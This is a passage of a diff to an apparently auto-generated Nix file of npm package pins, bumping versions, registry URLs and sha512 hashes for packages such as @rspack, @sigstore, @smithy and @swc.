"l0goQOMcNVOJs1kAcwqpKq3ylvkD9F04Ioe1oJoCqmz05mw22bNAKKGWuDd3zTUoUZr97va0c/UfLNru+PDmNA=="; }; }; - "@prisma/get-platform-5.9.0" = { + "@prisma/get-platform-5.9.1" = { name = "_at_prisma_slash_get-platform"; packageName = "@prisma/get-platform"; - version = "5.9.0"; + version = "5.9.1"; src = fetchurl { - url = "https://registry.npmjs.org/@prisma/get-platform/-/get-platform-5.9.0.tgz"; - sha512 = "8CatX+E6eZxcOjJZe5hF8EXxdb5GsQTA/u7pdmUJSxGLacW9K3r5vDdgV8s22PubObQQ6979/rkCMItbCrG4Yg=="; + url = "https://registry.npmjs.org/@prisma/get-platform/-/get-platform-5.9.1.tgz"; + sha512 = "6OQsNxTyhvG+T2Ksr8FPFpuPeL4r9u0JF0OZHUBI/Uy9SS43sPyAIutt4ZEAyqWQt104ERh70EZedkHZKsnNbg=="; }; }; "@prisma/prisma-schema-wasm-5.9.0-32.23fdc5965b1e05fc54e5f26ed3de66776b93de64" = { @@ -9175,103 +9175,103 @@ let sha512 = "iKnFXr7NkdZAIHiIWE+BX5ULi/ucVFYWD6TbAV+rZctiRTY2PL6tsIKhoIOaoskiWAkgu+VsbXgUVDNLHf+InQ=="; }; }; - "@rspack/binding-0.5.3" = { + "@rspack/binding-0.5.4" = { name = "_at_rspack_slash_binding"; packageName = "@rspack/binding"; - version = "0.5.3"; + version = "0.5.4"; src = fetchurl { - url = "https://registry.npmjs.org/@rspack/binding/-/binding-0.5.3.tgz"; - sha512 = "bwxjp2mvSGGgVRk1D+dwilwaSEvzhQTlhe3+f2h+cjampJpEa72jle1T4bpXTOOMM0JRq06AzUWlzoMxKn+JKA=="; + url = "https://registry.npmjs.org/@rspack/binding/-/binding-0.5.4.tgz"; + sha512 = "WoAq+pkNAe4jetIwIoUbiqO4cLSvpll90GtpYHqaNS9r9n28l4LBQY/A15W0/XBZeoj0wvMkYEvEZtn64PULLw=="; }; }; - "@rspack/binding-darwin-arm64-0.5.3" = { + "@rspack/binding-darwin-arm64-0.5.4" = { name = "_at_rspack_slash_binding-darwin-arm64"; packageName = "@rspack/binding-darwin-arm64"; - version = "0.5.3"; + version = "0.5.4"; src = fetchurl { - url = "https://registry.npmjs.org/@rspack/binding-darwin-arm64/-/binding-darwin-arm64-0.5.3.tgz"; - sha512 = "IgGpPtPwwlWkViTbrGBhywohXoGXwMZGZLPLR3tRZY4oPuSo41cwkPAhf2TZtBIfHGbITrmewsck853A4g7poA=="; + url = "https://registry.npmjs.org/@rspack/binding-darwin-arm64/-/binding-darwin-arm64-0.5.4.tgz"; + sha512 = "MWTLMzrgWk5enKGfctVIhbU5WlpJbXpvUnHKzxSr4dclf+IeBIaXBEs1fwogrS87VdfWTOh+lndyzrozBnxMmQ=="; }; }; - "@rspack/binding-darwin-x64-0.5.3" = { + "@rspack/binding-darwin-x64-0.5.4" = { name = "_at_rspack_slash_binding-darwin-x64"; packageName = "@rspack/binding-darwin-x64"; - version = "0.5.3"; + version = "0.5.4"; src = fetchurl { - url = "https://registry.npmjs.org/@rspack/binding-darwin-x64/-/binding-darwin-x64-0.5.3.tgz"; - sha512 = "95lDx4+QTmuGQ3Ilo1BhM22jGHxPAMDvQzBD/4zO1cBtmXrFQuaDVRoM0hwlZDLZwGMP1sSpD5F75kWKhkOTDw=="; + url = "https://registry.npmjs.org/@rspack/binding-darwin-x64/-/binding-darwin-x64-0.5.4.tgz"; + sha512 = "+8kvYjN9IllQSSzTrKp74Cf2efFNJZNMk6PWoOeakk43+Z1BgMgzLJTs/1xIDFhzylvLSMYSLO8AhbMMX48TCw=="; }; }; - "@rspack/binding-linux-arm64-gnu-0.5.3" = { + "@rspack/binding-linux-arm64-gnu-0.5.4" = { name = "_at_rspack_slash_binding-linux-arm64-gnu"; packageName = "@rspack/binding-linux-arm64-gnu"; - version = "0.5.3"; + version = "0.5.4"; src = fetchurl { - url = "https://registry.npmjs.org/@rspack/binding-linux-arm64-gnu/-/binding-linux-arm64-gnu-0.5.3.tgz"; - sha512 = "7ZcsDROYK01FWJ9Nv1Oso7gC3b3aP8FLzbZA7ZWFCPEuBoFmIvCIVqs6DSmmpZW3KSw+XoVMELuEJuTjDi869g=="; + url = "https://registry.npmjs.org/@rspack/binding-linux-arm64-gnu/-/binding-linux-arm64-gnu-0.5.4.tgz"; + sha512 = "mXtRKCblBT+H1KPWUfeJt6gQFGoMt+lnhk2POcoCeS1AxnxcTFpnci4BC4Ro5zKS2QWSdGdUMtc5GKlBmgwxvg=="; }; }; - "@rspack/binding-linux-arm64-musl-0.5.3" = { + "@rspack/binding-linux-arm64-musl-0.5.4" = { name = "_at_rspack_slash_binding-linux-arm64-musl"; packageName = "@rspack/binding-linux-arm64-musl"; - version = "0.5.3"; + version = "0.5.4"; src = fetchurl { - url = "https://registry.npmjs.org/@rspack/binding-linux-arm64-musl/-/binding-linux-arm64-musl-0.5.3.tgz"; - sha512 = "IBfVGpycRrLbyCWzokzeFIfK+yII68w1WOx2iCoR+tPUKa3M7WAZjrbVB33PHxGKXeF+xX7Lzm50hi4uTK8L6g=="; + url = "https://registry.npmjs.org/@rspack/binding-linux-arm64-musl/-/binding-linux-arm64-musl-0.5.4.tgz"; + sha512 = "P96R8yLT4BKtwYCtomIJE4uIGAh+5I8qLbrTrGamj/6N1D79GgwORW6CllCEnVU9l/Tjkdd+yMJkT9zoACa9gQ=="; }; }; - "@rspack/binding-linux-x64-gnu-0.5.3" = { + "@rspack/binding-linux-x64-gnu-0.5.4" = { name = "_at_rspack_slash_binding-linux-x64-gnu"; packageName = "@rspack/binding-linux-x64-gnu"; - version = "0.5.3"; + version = "0.5.4"; src = fetchurl { - url = "https://registry.npmjs.org/@rspack/binding-linux-x64-gnu/-/binding-linux-x64-gnu-0.5.3.tgz"; - sha512 = "EiVsp0yaGBmnMsS1U6Z5bitl2AjiVqFN3ArdIDZLlxgpVUHaR1ObXIkVqsX/VK5Jgytv1H7iOmtOnkOqyFmxPw=="; + url = "https://registry.npmjs.org/@rspack/binding-linux-x64-gnu/-/binding-linux-x64-gnu-0.5.4.tgz"; + sha512 = "/EjM7CkALS7uUF0laVp+wtOICrX2sR5gy4liIYVHKDLu+b4PGRtEQvubrDxikkzPpOYRvF38R7OBMUOJBuBW7A=="; }; }; - "@rspack/binding-linux-x64-musl-0.5.3" = { + "@rspack/binding-linux-x64-musl-0.5.4" = { name = "_at_rspack_slash_binding-linux-x64-musl"; packageName = "@rspack/binding-linux-x64-musl"; - version = "0.5.3"; + version = "0.5.4"; src = fetchurl { - url = "https://registry.npmjs.org/@rspack/binding-linux-x64-musl/-/binding-linux-x64-musl-0.5.3.tgz"; - sha512 = "PZbmHZ/sFBC0W2vNNmMgeVORijAxhdkaU0QS95ltacO+bU8npcNb+01QgRzJovuhOfiT7HXDUmH7K0mrUqXpFg=="; + url = "https://registry.npmjs.org/@rspack/binding-linux-x64-musl/-/binding-linux-x64-musl-0.5.4.tgz"; + sha512 = "dMT9QW4IZ7IGzczsOmzdpGf84IzIecvitSwj7DnulRkxj3++IWLAo80+HDtgn+nPm+1gNVFb11wg5L9x+VjFXw=="; }; }; - "@rspack/binding-win32-arm64-msvc-0.5.3" = { + "@rspack/binding-win32-arm64-msvc-0.5.4" = { name = "_at_rspack_slash_binding-win32-arm64-msvc"; packageName = "@rspack/binding-win32-arm64-msvc"; - version = "0.5.3"; + version = "0.5.4"; src = fetchurl { - url = "https://registry.npmjs.org/@rspack/binding-win32-arm64-msvc/-/binding-win32-arm64-msvc-0.5.3.tgz"; - sha512 = "bP1tgwQuTe0YSVpe73qEPXdt2rZGUpCUG3nFW+Ve27CJtq6btLqdcnnNEx2cAKs12ArN4H36U+BXfwJDp9/DaQ=="; + url = "https://registry.npmjs.org/@rspack/binding-win32-arm64-msvc/-/binding-win32-arm64-msvc-0.5.4.tgz"; + sha512 = "SsnOqWRw5VQnbz/63wtKsoyj6lfUpQQZyFWfQAMsNt8suIauWI/kf3QLWL/vmBX5Q24Sq16Kl5cMIjxAIJQfiQ=="; }; }; - "@rspack/binding-win32-ia32-msvc-0.5.3" = { + "@rspack/binding-win32-ia32-msvc-0.5.4" = { name = "_at_rspack_slash_binding-win32-ia32-msvc"; packageName = "@rspack/binding-win32-ia32-msvc"; - version = "0.5.3"; + version = "0.5.4"; src = fetchurl { - url = "https://registry.npmjs.org/@rspack/binding-win32-ia32-msvc/-/binding-win32-ia32-msvc-0.5.3.tgz"; - sha512 = "XKMNgkc5ScDKzt2xFQWD7ELefaEQtm9+1/7xhftDAxAC3AQELC0NqL5qAWpgSXEgVIjCW8r7xiwX5mqEEqqiuw=="; + url = "https://registry.npmjs.org/@rspack/binding-win32-ia32-msvc/-/binding-win32-ia32-msvc-0.5.4.tgz"; + sha512 = "xLlUHn712WhnWN40JeljQCiWBIRd/meMRKSEqTJJdZfNwozd4cZUbq5rxexX6HNjZvkwLACpATDotPVfCKPjbQ=="; }; }; - "@rspack/binding-win32-x64-msvc-0.5.3" = { + "@rspack/binding-win32-x64-msvc-0.5.4" = { name = "_at_rspack_slash_binding-win32-x64-msvc"; packageName = "@rspack/binding-win32-x64-msvc"; - version = "0.5.3"; + version = "0.5.4"; src = fetchurl { - url = "https://registry.npmjs.org/@rspack/binding-win32-x64-msvc/-/binding-win32-x64-msvc-0.5.3.tgz"; - sha512 = "B0iosD3cTXErnlqnOawn4DqfrO2QaY135vKqBrbqTfm9Zr4ftbqvp39nL9Qot+1QuixZdYwwF/NqBvRoFd9nig=="; + url = "https://registry.npmjs.org/@rspack/binding-win32-x64-msvc/-/binding-win32-x64-msvc-0.5.4.tgz"; + sha512 = "33IBq3yuJTyUKhTGbPwP/kvSf58wpOCBdPvye+ExNSw0uEVwXMs2AqDWDnbBPtZjP8DVN/zu0EoeLhYk9fwkYg=="; }; }; - "@rspack/core-0.5.3" = { + "@rspack/core-0.5.4" = { name = "_at_rspack_slash_core"; packageName = "@rspack/core"; - version = "0.5.3"; + version = "0.5.4"; src = fetchurl { - url = "https://registry.npmjs.org/@rspack/core/-/core-0.5.3.tgz"; - sha512 = "/WCMUCwcduSrx0za1kVoN3Fdkf/fDK3v6fgvJeeNc+l7/mGttSROUmlVidmz7eyQuD9itr947NB5U087Y99dag=="; + url = "https://registry.npmjs.org/@rspack/core/-/core-0.5.4.tgz"; + sha512 = "3yxOllEC93gf4pNiLlgtzE8dPo0QV2naQY24gAPk+EoWlwpmR6p1r7ZdD53etFZPGB4hMm78J/zgwx8jy1TRsw=="; }; }; "@rushstack/heft-config-file-0.14.7" = { @@ -9391,13 +9391,13 @@ let sha512 = "c/qwwcHyafOQuVQJj0IlBjf5yYgBI7YPJ77k4fOJYesb41jio65eaJODRUmfYKhTOFBrIZ66kgvGPlNbjuoRdQ=="; }; }; - "@schematics/angular-17.1.2" = { + "@schematics/angular-17.2.0" = { name = "_at_schematics_slash_angular"; packageName = "@schematics/angular"; - version = "17.1.2"; + version = "17.2.0"; src = fetchurl { - url = "https://registry.npmjs.org/@schematics/angular/-/angular-17.1.2.tgz"; - sha512 = "1GlH0POaN7hVDF1sAm90E5SvAqnKK+PbD1oKSpug9l+1AUQ3vOamyGhEAaO+IxUqvNdgqZexxd5o9MyySTT2Zw=="; + url = "https://registry.npmjs.org/@schematics/angular/-/angular-17.2.0.tgz"; + sha512 = "k5SisAPTRXxP2WVjWHgQl2sQkaAkUiOZJrHhTmUghTowULN2eIiW+1SSdNBFCbv+qkl276NfavOi22j+C7uaKQ=="; }; }; "@scure/base-1.1.5" = { @@ -9589,22 +9589,22 @@ let sha512 = "gQ2EaMpUU1gGH3S+iqpog9gkXbCo8tlhGYA9a5FUtEtER3D3OAlp8dGFwClwzWDAwzjdLT1+X55zmEptU1cP/A=="; }; }; - "@shopify/cli-kit-3.55.2" = { + "@shopify/cli-kit-3.56.1" = { name = "_at_shopify_slash_cli-kit"; packageName = "@shopify/cli-kit"; - version = "3.55.2"; + version = "3.56.1"; src = fetchurl { - url = "https://registry.npmjs.org/@shopify/cli-kit/-/cli-kit-3.55.2.tgz"; - sha512 = "hD1m34Rvvd3suZOB9085iLF6UtM5z4Yy3X2/4h6PEuhzb0CaSZjsegnz222nVzrBmjHq3CVUxyerShc9Zp7mkg=="; + url = "https://registry.npmjs.org/@shopify/cli-kit/-/cli-kit-3.56.1.tgz"; + sha512 = "QDHcUODGA33ch0f3uMqALv+qKUK4kXqH1nl1XlRXqrFEx+l5xpU+BXWRn4cW5SsHWU7xiVwlf3hnrHQDrGMLdw=="; }; }; - "@shopify/plugin-did-you-mean-3.55.2" = { + "@shopify/plugin-did-you-mean-3.56.1" = { name = "_at_shopify_slash_plugin-did-you-mean"; packageName = "@shopify/plugin-did-you-mean"; - version = "3.55.2"; + version = "3.56.1"; src = fetchurl { - url = "https://registry.npmjs.org/@shopify/plugin-did-you-mean/-/plugin-did-you-mean-3.55.2.tgz"; - sha512 = "wp208dECjEt4eZbIImo+6DenzaKYq4hkTz5o4r+qS9CbHyoOlu8shu2NJ7JfdWWBQrYm1hYkWimeRXQjOxOJCA=="; + url = "https://registry.npmjs.org/@shopify/plugin-did-you-mean/-/plugin-did-you-mean-3.56.1.tgz"; + sha512 = "Pn7MtQzMFucFWUedXu1wapaki73KMYjzG4xRLtru37WYaWlXazLmhL1G1ywjMBytukrgNIdQ3yCHPvQp1GIuoQ=="; }; }; "@sideway/address-4.1.5" = { @@ -9643,22 +9643,22 @@ let sha512 = "PFutXEy0SmQxYI4texPw3dd2KewuNqv7OuK1ZFtY2fM754yhvG2KdgwIhRnoEE2uHdtdGNQ8s0lb94dW9sELog=="; }; }; - "@sigstore/bundle-2.1.1" = { + "@sigstore/bundle-2.2.0" = { name = "_at_sigstore_slash_bundle"; packageName = "@sigstore/bundle"; - version = "2.1.1"; + version = "2.2.0"; src = fetchurl { - url = "https://registry.npmjs.org/@sigstore/bundle/-/bundle-2.1.1.tgz"; - sha512 = "v3/iS+1nufZdKQ5iAlQKcCsoh0jffQyABvYIxKsZQFWc4ubuGjwZklFHpDgV6O6T7vvV78SW5NHI91HFKEcxKg=="; + url = "https://registry.npmjs.org/@sigstore/bundle/-/bundle-2.2.0.tgz"; + sha512 = "5VI58qgNs76RDrwXNhpmyN/jKpq9evV/7f1XrcqcAfvxDl5SeVY/I5Rmfe96ULAV7/FK5dge9RBKGBJPhL1WsQ=="; }; }; - "@sigstore/core-0.2.0" = { + "@sigstore/core-1.0.0" = { name = "_at_sigstore_slash_core"; packageName = "@sigstore/core"; - version = "0.2.0"; + version = "1.0.0"; src = fetchurl { - url = "https://registry.npmjs.org/@sigstore/core/-/core-0.2.0.tgz"; - sha512 = "THobAPPZR9pDH2CAvDLpkrYedt7BlZnsyxDe+Isq4ZmGfPy5juOFZq487vCU2EgKD7aHSiTfE/i7sN7aEdzQnA=="; + url = "https://registry.npmjs.org/@sigstore/core/-/core-1.0.0.tgz"; + sha512 = "dW2qjbWLRKGu6MIDUTBuJwXCnR8zivcSpf5inUzk7y84zqy/dji0/uahppoIgMoKeR+6pUZucrwHfkQQtiG9Rw=="; }; }; "@sigstore/protobuf-specs-0.2.1" = { @@ -9670,6 +9670,15 @@ let sha512 = "XTWVxnWJu+c1oCshMLwnKvz8ZQJJDVOlciMfgpJBQbThVjKTCG8dwyhgLngBD2KN0ap9F/gOV8rFDEx8uh7R2A=="; }; }; + "@sigstore/protobuf-specs-0.3.0" = { + name = "_at_sigstore_slash_protobuf-specs"; + packageName = "@sigstore/protobuf-specs"; + version = "0.3.0"; + src = fetchurl { + url = "https://registry.npmjs.org/@sigstore/protobuf-specs/-/protobuf-specs-0.3.0.tgz"; + sha512 = "zxiQ66JFOjVvP9hbhGj/F/qNdsZfkGb/dVXSanNRNuAzMlr4MC95voPUBX8//ZNnmv3uSYzdfR/JSkrgvZTGxA=="; + }; + }; "@sigstore/sign-1.0.0" = { name = "_at_sigstore_slash_sign"; packageName = "@sigstore/sign"; @@ -9679,13 +9688,13 @@ let sha512 = "INxFVNQteLtcfGmcoldzV6Je0sbbfh9I16DM4yJPw3j5+TFP8X6uIiA18mvpEa9yyeycAKgPmOA3X9hVdVTPUA=="; }; }; - "@sigstore/sign-2.2.1" = { + "@sigstore/sign-2.2.3" = { name = "_at_sigstore_slash_sign"; packageName = "@sigstore/sign"; - version = "2.2.1"; + version = "2.2.3"; src = fetchurl { - url = "https://registry.npmjs.org/@sigstore/sign/-/sign-2.2.1.tgz"; - sha512 = "U5sKQEj+faE1MsnLou1f4DQQHeFZay+V9s9768lw48J4pKykPj34rWyI1lsMOGJ3Mae47Ye6q3HAJvgXO21rkQ=="; + url = "https://registry.npmjs.org/@sigstore/sign/-/sign-2.2.3.tgz"; + sha512 = "LqlA+ffyN02yC7RKszCdMTS6bldZnIodiox+IkT8B2f8oRYXCB3LQ9roXeiEL21m64CVH1wyveYAORfD65WoSw=="; }; }; "@sigstore/tuf-1.0.3" = { @@ -9697,22 +9706,22 @@ let sha512 = "2bRovzs0nJZFlCN3rXirE4gwxCn97JNjMmwpecqlbgV9WcxX7WRuIrgzx/X7Ib7MYRbyUTpBYE0s2x6AmZXnlg=="; }; }; - "@sigstore/tuf-2.3.0" = { + "@sigstore/tuf-2.3.1" = { name = "_at_sigstore_slash_tuf"; packageName = "@sigstore/tuf"; - version = "2.3.0"; + version = "2.3.1"; src = fetchurl { - url = "https://registry.npmjs.org/@sigstore/tuf/-/tuf-2.3.0.tgz"; - sha512 = "S98jo9cpJwO1mtQ+2zY7bOdcYyfVYCUaofCG6wWRzk3pxKHVAkSfshkfecto2+LKsx7Ovtqbgb2LS8zTRhxJ9Q=="; + url = "https://registry.npmjs.org/@sigstore/tuf/-/tuf-2.3.1.tgz"; + sha512 = "9Iv40z652td/QbV0o5n/x25H9w6IYRt2pIGbTX55yFDYlApDQn/6YZomjz6+KBx69rXHLzHcbtTS586mDdFD+Q=="; }; }; - "@sigstore/verify-0.1.0" = { + "@sigstore/verify-1.1.0" = { name = "_at_sigstore_slash_verify"; packageName = "@sigstore/verify"; - version = "0.1.0"; + version = "1.1.0"; src = fetchurl { - url = "https://registry.npmjs.org/@sigstore/verify/-/verify-0.1.0.tgz"; - sha512 = "2UzMNYAa/uaz11NhvgRnIQf4gpLTJ59bhb8ESXaoSS5sxedfS+eLak8bsdMc+qpNQfITUTFoSKFx5h8umlRRiA=="; + url = "https://registry.npmjs.org/@sigstore/verify/-/verify-1.1.0.tgz"; + sha512 = "1fTqnqyTBWvV7cftUUFtDcHPdSox0N3Ub7C0lRyReYx4zZUlNTZjCV+HPy4Lre+r45dV7Qx5JLKvqqsgxuyYfg=="; }; }; "@sinclair/typebox-0.25.24" = { @@ -9805,13 +9814,13 @@ let sha512 = "TV7t8GKYaJWsn00tFDqBw8+Uqmr8A0fRU1tvTQhyZzGv0sJCGRQL3JGMI3ucuKo3XIZdUP+Lx7/gh2t3lewy7g=="; }; }; - "@sindresorhus/merge-streams-1.0.0" = { + "@sindresorhus/merge-streams-2.2.1" = { name = "_at_sindresorhus_slash_merge-streams"; packageName = "@sindresorhus/merge-streams"; - version = "1.0.0"; + version = "2.2.1"; src = fetchurl { - url = "https://registry.npmjs.org/@sindresorhus/merge-streams/-/merge-streams-1.0.0.tgz"; - sha512 = "rUV5WyJrJLoloD4NDN1V1+LDMDWOa4OTsT4yYJwQNpTU6FWxkxHpL7eu4w+DmiH8x/EAM1otkPE1+LaspIbplw=="; + url = "https://registry.npmjs.org/@sindresorhus/merge-streams/-/merge-streams-2.2.1.tgz"; + sha512 = "255V7MMIKw6aQ43Wbqp9HZ+VHn6acddERTLiiLnlcPLU9PdTq9Aijl12oklAgUEblLWye+vHLzmqBx6f2TGcZw=="; }; }; "@smithy/abort-controller-2.1.1" = { @@ -9850,13 +9859,13 @@ let sha512 = "lxfLDpZm+AWAHPFZps5JfDoO9Ux1764fOgvRUBpHIO8HWHcSN1dkgsago1qLRVgm1BZ8RCm8cgv99QvtaOWIhw=="; }; }; - "@smithy/core-1.3.1" = { + "@smithy/core-1.3.2" = { name = "_at_smithy_slash_core"; packageName = "@smithy/core"; - version = "1.3.1"; + version = "1.3.2"; src = fetchurl { - url = "https://registry.npmjs.org/@smithy/core/-/core-1.3.1.tgz"; - sha512 = "tf+NIu9FkOh312b6M9G4D68is4Xr7qptzaZGZUREELF8ysE1yLKphqt7nsomjKZVwW7WE5pDDex9idowNGRQ/Q=="; + url = "https://registry.npmjs.org/@smithy/core/-/core-1.3.2.tgz"; + sha512 = "tYDmTp0f2TZVE18jAOH1PnmkngLQ+dOGUlMd1u67s87ieueNeyqhja6z/Z4MxhybEiXKOWFOmGjfTZWFxljwJw=="; }; }; "@smithy/credential-provider-imds-2.2.1" = { @@ -10183,13 +10192,13 @@ let sha512 = "lqLz/9aWRO6mosnXkArtRuQqqZBhNpgI65YDpww4rVQBuUT7qzKbDLG5AmnQTCiU4rOquaZO/Kt0J7q9Uic7MA=="; }; }; - "@smithy/util-defaults-mode-node-2.1.1" = { + "@smithy/util-defaults-mode-node-2.2.0" = { name = "_at_smithy_slash_util-defaults-mode-node"; packageName = "@smithy/util-defaults-mode-node"; - version = "2.1.1"; + version = "2.2.0"; src = fetchurl { - url = "https://registry.npmjs.org/@smithy/util-defaults-mode-node/-/util-defaults-mode-node-2.1.1.tgz"; - sha512 = "tYVrc+w+jSBfBd267KDnvSGOh4NMz+wVH7v4CClDbkdPfnjvImBZsOURncT5jsFwR9KCuDyPoSZq4Pa6+eCUrA=="; + url = "https://registry.npmjs.org/@smithy/util-defaults-mode-node/-/util-defaults-mode-node-2.2.0.tgz"; + sha512 = "iFJp/N4EtkanFpBUtSrrIbtOIBf69KNuve03ic1afhJ9/korDxdM0c6cCH4Ehj/smI9pDCfVv+bqT3xZjF2WaA=="; }; }; "@smithy/util-endpoints-1.1.1" = { @@ -10462,58 +10471,58 @@ let sha512 = "2kGbqUVJUGE8dM+bMzXG/PYUWKkjLIkRLWNh39OaADkiabDRdw8ATFCgbMz5xdIcvwspPAluSL7uY+ZiTWdWmQ=="; }; }; - "@swc-node/core-1.10.6" = { + "@swc-node/core-1.12.0" = { name = "_at_swc-node_slash_core"; packageName = "@swc-node/core"; - version = "1.10.6"; + version = "1.12.0"; src = fetchurl { - url = "https://registry.npmjs.org/@swc-node/core/-/core-1.10.6.tgz"; - sha512 = "lDIi/rPosmKIknWzvs2/Fi9zWRtbkx8OJ9pQaevhsoGzJSal8Pd315k1W5AIrnknfdAB4HqRN12fk6AhqnrEEw=="; + url = "https://registry.npmjs.org/@swc-node/core/-/core-1.12.0.tgz"; + sha512 = "AYrEmPL2BT46wbikHwSMR5IK98SelBEYH+ycjalUxJ5xYjEupjF8Fd+NkadKoZAzf5zDtysFKd5R1PY4QBHIiw=="; }; }; - "@swc-node/register-1.6.8" = { + "@swc-node/register-1.8.0" = { name = "_at_swc-node_slash_register"; packageName = "@swc-node/register"; - version = "1.6.8"; + version = "1.8.0"; src = fetchurl { - url = "https://registry.npmjs.org/@swc-node/register/-/register-1.6.8.tgz"; - sha512 = "74ijy7J9CWr1Z88yO+ykXphV29giCrSpANQPQRooE0bObpkTO1g4RzQovIfbIaniBiGDDVsYwDoQ3FIrCE8HcQ=="; + url = "https://registry.npmjs.org/@swc-node/register/-/register-1.8.0.tgz"; + sha512 = "8K3589HoBSmVmrEVrtr4K5sWEithpGDzcFGic81OW0A9sZY38IV5EGRODQWCk0SBDyLhaF+pid120vJAtsHo1A=="; }; }; - "@swc-node/sourcemap-support-0.3.0" = { + "@swc-node/sourcemap-support-0.4.0" = { name = "_at_swc-node_slash_sourcemap-support"; packageName = "@swc-node/sourcemap-support"; - version = "0.3.0"; + version = "0.4.0"; src = fetchurl { - url = "https://registry.npmjs.org/@swc-node/sourcemap-support/-/sourcemap-support-0.3.0.tgz"; - sha512 = "gqBJSmJMWomZFxlppaKea7NeAqFrDrrS0RMt24No92M3nJWcyI9YKGEQKl+EyJqZ5gh6w1s0cTklMHMzRwA1NA=="; + url = "https://registry.npmjs.org/@swc-node/sourcemap-support/-/sourcemap-support-0.4.0.tgz"; + sha512 = "weuRmYTO+4yOtHtPZHXlPdA1dJJJp3QOoZAFZ6uZidu992F2X5v1fQdnb26xs1o3Ex/e2sYhRyY5R6NGNuoATQ=="; }; }; - "@swc/core-1.3.107" = { + "@swc/core-1.4.1" = { name = "_at_swc_slash_core"; packageName = "@swc/core"; - version = "1.3.107"; + version = "1.4.1"; src = fetchurl { - url = "https://registry.npmjs.org/@swc/core/-/core-1.3.107.tgz"; - sha512 = "zKhqDyFcTsyLIYK1iEmavljZnf4CCor5pF52UzLAz4B6Nu/4GLU+2LQVAf+oRHjusG39PTPjd2AlRT3f3QWfsQ=="; + url = "https://registry.npmjs.org/@swc/core/-/core-1.4.1.tgz"; + sha512 = "3y+Y8js+e7BbM16iND+6Rcs3jdiL28q3iVtYsCviYSSpP2uUVKkp5sJnCY4pg8AaVvyN7CGQHO7gLEZQ5ByozQ=="; }; }; - "@swc/counter-0.1.2" = { + "@swc/counter-0.1.3" = { name = "_at_swc_slash_counter"; packageName = "@swc/counter"; - version = "0.1.2"; + version = "0.1.3"; src = fetchurl { - url = "https://registry.npmjs.org/@swc/counter/-/counter-0.1.2.tgz"; - sha512 = "9F4ys4C74eSTEUNndnER3VJ15oru2NumfQxS8geE+f3eB5xvfxpWyqE5XlVnxb/R14uoXi6SLbBwwiDSkv+XEw=="; + url = "https://registry.npmjs.org/@swc/counter/-/counter-0.1.3.tgz"; + sha512 = "e2BR4lsJkkRlKZ/qCHPw9ZaSxc0MVUd7gtbtaB7aMvHeJVYe8sOB8DBZkP2DtISHGSku9sCK6T6cnY0CtXrOCQ=="; }; }; - "@swc/helpers-0.5.3" = { + "@swc/helpers-0.5.6" = { name = "_at_swc_slash_helpers"; packageName = "@swc/helpers"; - version = "0.5.3"; + version = "0.5.6"; src = fetchurl { - url = "https://registry.npmjs.org/@swc/helpers/-/helpers-0.5.3.tgz"; - sha512 = "FaruWX6KdudYloq1AHD/4nU+UsMTdNE8CKyrseXWEcgjDAbvkwJg2QGPAnfIJLIWsjZOSPLOAykK6fuYp4vp4A=="; + url = "https://registry.npmjs.org/@swc/helpers/-/helpers-0.5.6.tgz"; + sha512 = "aYX01Ke9hunpoCexYAgQucEpARGQ5w/cqHFrIR+e9gdKb1QWTsVJuTJ2ozQzIAxLyRQe/m+2RqzkyOOGiMKRQA=="; }; }; "@swc/types-0.1.5" = { @@ -10525,13 +10534,13 @@ let sha512 = "myfUej5naTBWnqOCc/MdVOLVjXUXtIA+NpDrDBKJtLLg2shUjBu3cZmB/85RyitKc55+lUUyl7oRfLOvkr2hsw=="; }; }; - "@swc/wasm-1.3.107" = { + "@swc/wasm-1.4.1" = { name = "_at_swc_slash_wasm"; packageName = "@swc/wasm"; - version = "1.3.107"; + version = "1.4.1"; src = fetchurl { - url = "https://registry.npmjs.org/@swc/wasm/-/wasm-1.3.107.tgz"; - sha512 = "mfe9FszpVT+5JA5brGQ5PwkLoDXsZeh8tyO2/rKqMjKQW0tqZP/npkVgD9yUMC/eXLM2TmnjeYZAPpTreSPBBQ=="; + url = "https://registry.npmjs.org/@swc/wasm/-/wasm-1.4.1.tgz"; + sha512 = "T9wbyNM9pZNxE5aJR+dZAMhKVKSElw9Clz73pjFEV2ddB5DHmi4ndn1X3RwCF8JBryVkoPIsZ/MQXty+LSbyQw=="; }; }; "@szmarczak/http-timer-1.1.2" = { @@ -10570,13 +10579,13 @@ let sha512 = "QE7X69iQI+ZXwldE+rzasvbJiyV/ju1FGHH0Qn2W3FKbuYtqp8LKcy6iSw79fVUT5/Vvf+0XgLCeYVG+UV6hOw=="; }; }; - "@tanstack/react-virtual-3.0.2" = { + "@tanstack/react-virtual-3.0.4" = { name = "_at_tanstack_slash_react-virtual"; packageName = "@tanstack/react-virtual"; - version = "3.0.2"; + version = "3.0.4"; src = fetchurl { - url = "https://registry.npmjs.org/@tanstack/react-virtual/-/react-virtual-3.0.2.tgz"; - sha512 = "9XbRLPKgnhMwwmuQMnJMv+5a9sitGNCSEtf/AZXzmJdesYk7XsjYHaEDny+IrJzvPNwZliIIDwCRiaUqR3zzCA=="; + url = "https://registry.npmjs.org/@tanstack/react-virtual/-/react-virtual-3.0.4.tgz"; + sha512 = "tiqKW/e2MJVCr7/pRUXulpkyxllaOclkHNfhKTo4pmHjJIqnhMfwIjc1Q1R0Un3PI3kQywywu/791c8z9u0qeA=="; }; }; "@tanstack/virtual-core-3.0.0" = { @@ -10624,6 +10633,15 @@ let sha512 = "qrZyhCh8Ekk6nwArx3BROybm9BnX6vF7VcZbijetV/OM3yfS4rTYhoMWISmhVEP2H2re0CtWEyMl/XF+WdvVLQ=="; }; }; + "@textlint/ast-node-types-14.0.3" = { + name = "_at_textlint_slash_ast-node-types"; + packageName = "@textlint/ast-node-types"; + version = "14.0.3"; + src = fetchurl { + url = "https://registry.npmjs.org/@textlint/ast-node-types/-/ast-node-types-14.0.3.tgz"; + sha512 = "umIMn3yy2arl9QHH2fEhCxVgbLbQFC8NpzYbAzOQ4Y5m+p0RQaKClHtHXnDqsXHp6WKAVAXxcuFolW2SZMnhDQ=="; + }; + }; "@textlint/ast-node-types-4.4.3" = { name = "_at_textlint_slash_ast-node-types"; packageName = "@textlint/ast-node-types"; @@ -10633,139 +10651,139 @@ let sha512 = "qi2jjgO6Tn3KNPGnm6B7p6QTEPvY95NFsIAaJuwbulur8iJUEenp1OnoUfiDaC/g2WPPEFkcfXpmnu8XEMFo2A=="; }; }; - "@textlint/ast-tester-13.4.1" = { + "@textlint/ast-tester-14.0.3" = { name = "_at_textlint_slash_ast-tester"; packageName = "@textlint/ast-tester"; - version = "13.4.1"; + version = 